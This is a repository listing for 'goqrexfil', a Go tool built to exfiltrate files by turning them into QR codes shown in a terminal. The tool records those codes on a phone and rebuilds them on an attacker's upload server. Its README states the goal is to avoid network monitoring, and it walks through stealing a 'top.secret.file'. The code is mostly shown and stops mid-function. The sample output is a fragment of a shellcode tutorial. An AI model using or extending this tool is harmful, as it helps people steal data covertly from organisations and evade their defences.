├── .gitattributes
├── .github
└── workflows
│ └── codeql-analysis.yml
├── .gitignore
├── LICENSE
├── README.md
├── go.mod
├── go.sum
├── goqrexfil.go
├── payload
└── payload.bin
└── public
├── index.html
└── render.html
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.github/workflows/codeql-analysis.yml:
--------------------------------------------------------------------------------
1 | # For most projects, this workflow file will not need changing; you simply need
2 | # to commit it to your repository.
3 | #
4 | # You may wish to alter this file to override the set of languages analyzed,
5 | # or to provide custom queries or build logic.
6 | #
7 | # ******** NOTE ********
8 | # We have attempted to detect the languages in your repository. Please check
9 | # the `language` matrix defined below to confirm you have the correct set of
10 | # supported CodeQL languages.
11 | #
12 | name: "CodeQL"
13 |
14 | on:
15 | push:
16 | branches: [ master ]
17 | pull_request:
18 | # The branches below must be a subset of the branches above
19 | branches: [ master ]
20 | schedule:
21 | - cron: '28 15 * * 6'
22 |
23 | jobs:
24 | analyze:
25 | name: Analyze
26 | runs-on: ubuntu-latest
27 | permissions:
28 | actions: read
29 | contents: read
30 | security-events: write
31 |
32 | strategy:
33 | fail-fast: false
34 | matrix:
35 | language: [ 'go' ]
36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
37 | # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
38 |
39 | steps:
40 | - name: Checkout repository
41 | uses: actions/checkout@v3
42 |
43 | # Initializes the CodeQL tools for scanning.
44 | - name: Initialize CodeQL
45 | uses: github/codeql-action/init@v2
46 | with:
47 | languages: ${{ matrix.language }}
48 | # If you wish to specify custom queries, you can do so here or in a config file.
49 | # By default, queries listed here will override any specified in a config file.
50 | # Prefix the list here with "+" to use these queries and those in the config file.
51 |
52 | # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
53 | # queries: security-extended,security-and-quality
54 |
55 |
56 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
57 | # If this step fails, then you should remove it and run the build manually (see below)
58 | - name: Autobuild
59 | uses: github/codeql-action/autobuild@v2
60 |
61 | # ℹ️ Command-line programs to run using the OS shell.
62 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
63 |
64 | # If the Autobuild fails above, remove it and uncomment the following three lines.
65 | # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
66 |
67 | # - run: |
68 | # echo "Run, Build Application using script"
69 | # ./location_of_script_within_repo/buildscript.sh
70 |
71 | - name: Perform CodeQL Analysis
72 | uses: github/codeql-action/analyze@v2
73 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/*
2 | # Binaries for programs and plugins
3 | *.exe
4 | *.exe~
5 | *.dll
6 | *.so
7 | *.dylib
8 |
9 | # Test binary, built with `go test -c`
10 | *.test
11 |
12 | # Output of the go coverage tool, specifically when used with LiteIDE
13 | *.out
14 |
15 | # Dependency directories (remove the comment below to include it)
16 | # vendor/
17 | goqrexfil
18 | *.png
19 | *.jpg
20 | qr
21 | *.mp4
22 | file.output.pdf
23 | .DS_Store
24 | payload.raw
25 | file.output
26 | top.secret.file
27 | *.png_original
28 | payload/payload.bin
29 | *.mov
30 | .vscode/launch.json
31 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 JMA
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # goqrexfil
2 |
3 | A mini project to exfiltrate data via QR codes - I just like writing code around data exfiltration.
4 |
5 | The whole idea in this one is that the data can be exfiltrated via a different cover channel using video recording
6 | device and therefore will not trigger any classic network monitoring alerts.
7 |
8 | In a first phase using --client, the code allows to take a file from stdin, cut it in pieces and display chunks as QR
9 | codes one at a time in your terminal. This allows you to create a video on your phone, just ensure that you are zooming
10 | and have the whole terminal in your focus.
11 |
12 | In a second phase using --server, you can use the same code elsewhere on a system you control and run a web server that
13 | will allow you to upload your video for processing. We rely on ffmpeg to extract frames from the recording and then a
14 | library to extract QR codes from the frames (minus potential duplicates). Finally, the payload is rebuilt from being
15 | retrieved by reading the data from the QR codes and a file is created with the original data.
16 |
17 | # Caveats/TODO
18 |
19 | * Currently very Alpha - works well with small text files, almost ok for PDFs/binary format (I need to have more time to
20 | debug this)
21 | * Ugly code - I am not a developper, I normally use Python and wanted to try to learn Golang (be nice if you want to
22 | help with improving this ugly code)
23 |
24 | # Example
25 |
26 | ## Part 1: Convert file into QR codes and video record
27 |
28 | 1. use goqrexfil in client mode
29 | 2. start a video recording with phone, point at the shell window
30 |
31 | Example:
32 |
33 | ```
34 | ➜ cat top.secret.file | ./goqrexfil --client
35 | -= goqrexfil =-
36 | [*] Client mode: ON
37 | [*] Payload is in 8 chunks, video recording time estimate:
38 |
39 |
40 | ---=== 5 seconds to use CTRL+C if you want to abort ===---
41 | ```
42 |
43 | Start recording a video now, QR codes will be displayed on the console and stop the video at the end.
44 |
45 | ## Have server ready to receive and process your video
46 |
47 | 1. use goqrexfil in server mode
48 | 2. From your phone, go to your server domain/ip on port 8888 e.g. http://1.2.3.4:8888/ and upload the video:
49 |
50 | Example:
51 |
52 | ```
53 | ➜ ./goqrexfil -server
54 | -= goqrexfil =-
55 | [*] Server mode: ON
56 | 2020/04/25 11:42:15
57 | [*] File received
58 | [*] Frames extracted
59 |
60 | public/004.png has payload.. Adding
61 | public/005.png has payload.. Adding
62 |
63 | [*] Payload retrieved (Wrote 824 bytes): payload.raw.
64 | [GIN] 2020/04/25 - 11:42:19 | 200 | 4.336634181s | 172.16.0.110 | POST "/upload"
65 |
66 | ^C⏎
67 | ```
68 |
69 | ## Retrieving payload
70 |
71 | ```➜ cat payload.raw
72 | ------------|
73 |
74 |
75 | ----| Intro
76 |
77 | Writing shellcode for the MIPS/Irix platform is not much different from writing
78 | shellcode for the x86 architecture. There are, however, a few tricks worth
79 | knowing when attempting to write clean shellcode (which does not have any NULL
80 | bytes and works completely independent from it's position).
81 |
82 | This small paper will provide you with a crash course on writing IRIX
83 | shellcode for use in exploits. It covers the basic stuff you need to know to
84 | start writing basic IRIX shellcode. It is divided into the following sections:
85 |
86 | - The IRIX operating system
87 | - MIPS archstages the MIPS design
88 | has reflected this on the instructions itself: every instruction is
89 | 32 bits broad (4 bytes), and can be divided most of the times into
90 | segments which correspond with each pipestage..```
91 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module goqrexfil
2 |
3 | go 1.18
4 |
5 | require (
6 | github.com/boombuler/barcode v1.0.1
7 | github.com/gin-gonic/gin v1.9.1
8 | github.com/kjk/smaz v0.0.0-20151202183815-c61c680e82ff
9 | github.com/liyue201/goqr v0.0.0-20200803022322-df443203d4ea
10 | github.com/sirupsen/logrus v1.8.1
11 | github.com/zserge/lorca v0.1.10
12 | golang.org/x/crypto v0.35.0
13 | )
14 |
15 | require (
16 | github.com/bytedance/sonic v1.9.1 // indirect
17 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect
18 | github.com/gabriel-vasile/mimetype v1.4.2 // indirect
19 | github.com/gin-contrib/sse v0.1.0 // indirect
20 | github.com/go-playground/locales v0.14.1 // indirect
21 | github.com/go-playground/universal-translator v0.18.1 // indirect
22 | github.com/go-playground/validator/v10 v10.14.0 // indirect
23 | github.com/goccy/go-json v0.10.2 // indirect
24 | github.com/json-iterator/go v1.1.12 // indirect
25 | github.com/klauspost/cpuid/v2 v2.2.4 // indirect
26 | github.com/leodido/go-urn v1.2.4 // indirect
27 | github.com/mattn/go-isatty v0.0.19 // indirect
28 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
29 | github.com/modern-go/reflect2 v1.0.2 // indirect
30 | github.com/pelletier/go-toml/v2 v2.0.8 // indirect
31 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
32 | github.com/ugorji/go/codec v1.2.11 // indirect
33 | golang.org/x/arch v0.3.0 // indirect
34 | golang.org/x/net v0.23.0 // indirect
35 | golang.org/x/sys v0.30.0 // indirect
36 | golang.org/x/text v0.22.0 // indirect
37 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
38 | google.golang.org/protobuf v1.33.0 // indirect
39 | gopkg.in/yaml.v3 v3.0.1 // indirect
40 | )
41 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/boombuler/barcode v1.0.1 h1:NDBbPmhS+EqABEs5Kg3n/5ZNjy73Pz7SIV+KCeqyXcs=
2 | github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
3 | github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM=
4 | github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s=
5 | github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U=
6 | github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY=
7 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams=
8 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk=
9 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
10 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
11 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
12 | github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
13 | github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
14 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
15 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
16 | github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg=
17 | github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU=
18 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
19 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
20 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
21 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
22 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
23 | github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg/+t63MyGU2n5js=
24 | github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU=
25 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU=
26 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I=
27 | github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
28 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
29 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
30 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
31 | github.com/kjk/smaz v0.0.0-20151202183815-c61c680e82ff h1:psAc8+Dcef8NTLSARr6v2vRWY0dkRcBI3BMypQazS4o=
32 | github.com/kjk/smaz v0.0.0-20151202183815-c61c680e82ff/go.mod h1:HZixo9PxzzUDLNc9n6lganlt0L6gfDaidFDzFw2dmXA=
33 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
34 | github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk=
35 | github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY=
36 | github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q=
37 | github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4=
38 | github.com/liyue201/goqr v0.0.0-20200803022322-df443203d4ea h1:uyJ13zfy6l79CM3HnVhDalIyZ4RJAyVfDrbnfFeJoC4=
39 | github.com/liyue201/goqr v0.0.0-20200803022322-df443203d4ea/go.mod h1:w4pGU9PkiX2hAWyF0yuHEHmYTQFAd6WHzp6+IY7JVjE=
40 | github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
41 | github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
42 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
43 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
44 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
45 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
46 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
47 | github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ=
48 | github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4=
49 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
50 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
51 | github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
52 | github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
53 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
54 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
55 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
56 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
57 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
58 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
59 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
60 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
61 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
62 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
63 | github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
64 | github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY=
65 | github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
66 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
67 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
68 | github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU=
69 | github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
70 | github.com/zserge/lorca v0.1.10 h1:f/xBJ3D3ipcVRCcvN8XqZnpoKcOXV8I4vwqlFyw7ruc=
71 | github.com/zserge/lorca v0.1.10/go.mod h1:bVmnIbIRlOcoV285KIRSe4bUABKi7R7384Ycuum6e4A=
72 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
73 | golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k=
74 | golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
75 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
76 | golang.org/x/crypto v0.35.0 h1:b15kiHdrGCHrP6LvwaQ3c03kgNhhiMgvlhxHQhmg2Xs=
77 | golang.org/x/crypto v0.35.0/go.mod h1:dy7dXNW32cAb/6/PRuTNsix8T+vJAqvuIy5Bli/x0YQ=
78 | golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
79 | golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs=
80 | golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
81 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
82 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
83 | golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
84 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
85 | golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc=
86 | golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
87 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
88 | golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM=
89 | golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY=
90 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
91 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
92 | google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=
93 | google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
94 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
95 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
96 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
97 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
98 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
99 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
100 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=
101 |
--------------------------------------------------------------------------------
/goqrexfil.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "encoding/base64"
6 | "encoding/hex"
7 | "flag"
8 | "fmt"
9 | "image"
10 | "image/jpeg"
11 | "image/png"
12 | "io"
13 | "io/ioutil"
14 | "net/http"
15 | "net/url"
16 | "os"
17 | "os/exec"
18 | "path/filepath"
19 | "strings"
20 | "time"
21 |
22 | "github.com/kjk/smaz"
23 |
24 | "github.com/boombuler/barcode"
25 | "github.com/boombuler/barcode/qr"
26 | "github.com/gin-gonic/gin"
27 | goqr "github.com/liyue201/goqr"
28 | log "github.com/sirupsen/logrus"
29 | "github.com/zserge/lorca"
30 | "golang.org/x/crypto/blake2b"
31 | )
32 |
33 | const (
34 | serverPort = "9999" // TCP port to run the web service on
35 | videoLocation = "./public/video.mp4" // location of video uploaded to the web service
36 | ffmpeg = "/opt/homebrew/bin/ffmpeg" // Path to local FFMPEG - required only for server mode
37 | ffmpegQuality = "16" // Qualify for frames to images conversion. 1-31. 5 for great, 10 for acceptable (this helps reduce file size)
38 | ffmpegImageScale = "scale=500:-1" // Scale for frames to images conversion. 500px + keep aspect ratio
39 | QRCDataMaxBytes = 320 // 230 was safe. If this gets too big, QR code will be hard to read...
40 | secsBeforeDisplay = 3 // 3 seconds before starting to display QR codes
41 | msBetweenFrames = 550 // milleseconds between QR codes displayed to allow proper recording
42 | retrieved = "./payload/payload.bin" // path to output payload file when video and all qr code data is retrieved
43 | )
44 |
45 | func init() {
46 | var clear map[string]func()
47 | clear = make(map[string]func()) //Initialize it
48 | clear["linux"] = func() {
49 | cmd := exec.Command("clear") //Linux example, its tested
50 | cmd.Stdout = os.Stdout
51 | err := cmd.Run()
52 | if err != nil {
53 | log.Fatal(err)
54 | }
55 | }
56 | clear["windows"] = func() {
57 | cmd := exec.Command("cmd", "/c", "cls") //Windows example, its tested
58 | cmd.Stdout = os.Stdout
59 | err := cmd.Run()
60 | if err != nil {
61 | log.Fatal(err)
62 | }
63 | }
64 | clear["darwin"] = func() {
65 | cmd := exec.Command("clear") //Linux example, its tested
66 | cmd.Stdout = os.Stdout
67 | err := cmd.Run()
68 | if err != nil {
69 | log.Fatal(err)
70 | }
71 | }
72 | }
73 |
74 | // RenderQR returns a QR code HTML image with encoded chunk as data
75 | func RenderQR(chunk string) string {
76 | qrCode, _ := qr.Encode(chunk, qr.H, qr.Unicode)
77 | qrCode, _ = barcode.Scale(qrCode, 600, 600)
78 | var buff bytes.Buffer
79 | err := png.Encode(&buff, qrCode)
80 | if err != nil {
81 | log.Fatal(err)
82 | }
83 | encodedString := base64.StdEncoding.EncodeToString(buff.Bytes())
84 | h := blake2b.Sum256([]byte(chunk))
85 | fmt.Println("[*] Creating QR code\n DATA_HASH =", hex.EncodeToString(h[:])) //, "\n Payload =", []byte(chunk))
86 | return ""
87 | }
88 |
89 | // payloadInChunks cuts a string payload into multiple chunks of chunkSize size
90 | func payloadInChunks(longString string, chunkSize int) []string {
91 | var slices []string
92 | lastIndex := 0
93 | lastI := 0
94 | for i := range longString {
95 | if i-lastIndex > chunkSize {
96 | slices = append(slices, longString[lastIndex:lastI])
97 | lastIndex = lastI
98 | }
99 | lastI = i
100 | }
101 | // handle the leftovers at the end
102 | if len(longString)-lastIndex > chunkSize {
103 | slices = append(slices, longString[lastIndex:lastIndex+chunkSize], longString[lastIndex+chunkSize:])
104 | } else {
105 | slices = append(slices, longString[lastIndex:])
106 | }
107 | return slices
108 | }
109 |
110 | // DecodeQRCode returns a string with the base64 encoded payload from the QR code
111 | func DecodeQRCode(img image.Image) string {
112 | buf := new(bytes.Buffer)
113 | err := jpeg.Encode(buf, img, nil)
114 | img, _, err = image.Decode(bytes.NewReader(buf.Bytes()))
115 | if err != nil {
116 | log.Error("image.Decode error: %v\n", err)
117 | return ""
118 | }
119 | qrCodes, err := goqr.Recognize(img)
120 | if err != nil {
121 | // log.Error("Recognize failed: %v\n", err)
122 | return ""
123 | }
124 | var payload string
125 | for _, qrCode := range qrCodes {
126 | payload = payload + string(qrCode.Payload)
127 | }
128 | return payload
129 | }
130 |
131 | /* retrievePayload is the main function that will take the uploaded video,
132 | will extract frames and will call DecodeQRCode() to get the payload.
133 | it will also concatenate all pieces and finally return the full payload. */
134 | func retrievePayload() bool {
135 | // Split video into frames using ffmpeg. Ideally it should be a module and not an exec.command call
136 | files, err := filepath.Glob("./public/*png")
137 | if err != nil {
138 | panic(err)
139 | }
140 | fmt.Println("[***] Cleaning old files and extracting video frames")
141 | for _, f := range files {
142 | if err := os.Remove(f); err != nil {
143 | panic(err)
144 | }
145 | }
146 |
147 | cmd := exec.Command(ffmpeg, "-i", videoLocation,
148 | "-loglevel", "error", // "-r", "10",
149 | "-qscale:v", ffmpegQuality,
150 | "-vf", ffmpegImageScale,
151 | "-vsync", "vfr",
152 | "./public/%03d.png")
153 | cmd.Stderr = os.Stderr
154 | err = cmd.Run()
155 | if err != nil {
156 | log.Fatal(err)
157 | }
158 |
159 | // Now we need to parse all frames, find if a QR Code is present and extract data from it
160 | var payload string
161 | matches, _ := filepath.Glob("./public/*png")
162 | fmt.Println("[***] Extracting data from", len(matches), "frames, skipping duplicates")
163 | for _, match := range matches {
164 | f, _ := os.Open(match)
165 | img, _, _ := image.Decode(f)
166 | _ = f.Close()
167 | buff := DecodeQRCode(img)
